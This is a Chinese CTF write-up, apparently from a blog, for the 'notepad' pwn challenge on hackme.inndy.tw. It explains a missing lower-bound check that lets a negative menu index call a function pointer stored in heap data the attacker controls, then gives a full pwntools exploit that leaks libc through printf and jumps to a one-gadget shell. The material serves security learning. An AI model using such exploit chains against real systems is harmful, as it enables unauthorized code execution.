notepad的wp

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了notepad这个题目感觉还不错,我把wp分享出来,方便大家学习
very_overflow的题目要求是:

nc hackme.inndy.tw 7713

把notepad直接拖入ida中:
main函数:
image
menu函数:
image
bash函数:
image
cmd函数:
image
rstrip函数:
image
notepad函数:
image
notepad_new函数:
image
notepad_open函数:
image
notepad_delete函数:
image
notepad_rdonly函数:
image
notepad_keepsec函数:
image
这个程序初看很复杂,函数很多,功能也很多,但是还是逃不出ctf的一些出题套路,可以参考这个问题: http://www.cnblogs.com/Ox9A82/p/5559167.html ,所以主要的漏洞点会出在notepad_open的编辑功能中
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
这个题目开了栈不可执行和canary保护,所以不可能是栈溢出
这个题目在创建一个notepad的时候会把数据和函数指针一起放入堆中,这个题目的漏洞点在notepad_open调用的menu函数中,因为notepad_open会根据你在菜单中选择的项目调用堆中指定的函数,因为menu函数只限制了选择的上限,没有限制选择的下限,所以可以让menu函数的返回结果为负数,这样调用的函数指针会指向上一块内存中的数据,也就是你可以控制的content的数据
而泄露libc基地址的方法是,第一次调用strncpy函数
image
目的是利用strncpy这个函数把0xfff2c9f4中的数据复制到0xfff2c9f0中去
然后再调用printf函数
image
这样就可以利用printf函数来泄露栈中任意数据了
然后再利用函数的编辑功能把第一块堆中的数据改成MAGIC_addr,最后再利用一次notepad_open函数就可以getshell了
我的exp是:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

localMAGIC = 0x3ac5c      #locallibc
remoteMAGIC = 0x3ac3e      #remotelibc   #libc6_2.23-0ubuntu3_i386.so

def debug(addr = '0x8048ce8'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

elf = ELF('/home/h11p/hackme/notepad')
printf_addr=elf.plt['printf']
print 'printf_addr:'+hex(printf_addr)
strncpy_addr=elf.plt['strncpy']
print 'strncpy_addr:'+hex(strncpy_addr)
printf_got_addr=elf.got['printf']
print 'printf_got_addr:'+hex(printf_got_addr)

#io = process('/home/h11p/hackme/notepad')
io = remote('hackme.inndy.tw', 7713)


payload1='a'*4+p32(printf_addr)+p32(strncpy_addr)+'a'*3

#debug()
io.recvuntil('::> ')
io.sendline('c')
io.recvuntil('::>')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('16')
io.recvuntil('data > ')
io.send(payload1)

io.recvuntil('::> ')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('16')
io.recvuntil('data > ')
io.send('a'*15)

io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('edit (Y/n)')
io.sendline(p32(0x59))
io.recvuntil('content > ')
io.sendline('%1067$p')
io.recvuntil('::> ')
io.sendline(p32(93))


io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('::> ')
io.sendline(p32(92))
libc_start_main_247=io.recv().splitlines()[0]
libc_start_main=base_addr(libc_start_main_247,0xf7)
print "libc_start_main:"+hex(libc_start_main)

#local_libc_base=base_addr(libc_start_main_247,0x18637)
#print "libc_base:"+hex(local_libc_base)

remote_libc_base=base_addr(libc_start_main_247,0x18637)
print "libc_base:"+hex(remote_libc_base)


#MAGIC_addr=local_libc_base+localMAGIC
MAGIC_addr=remote_libc_base+remoteMAGIC
payload2=p32(MAGIC_addr)
print "MAGIC_addr:"+hex(MAGIC_addr)
#io.recv()
io.sendline('b')
io.recvuntil('id > ')
io.sendline('0')
io.recvuntil('edit (Y/n)')
io.sendline('Y')
io.recvuntil('content > ')
io.sendline(payload2)
io.recvuntil('::> ')
io.sendline('a')

io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('::> ')
io.sendline(p32(91))

io.interactive()
io.close()

效果是:
image

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值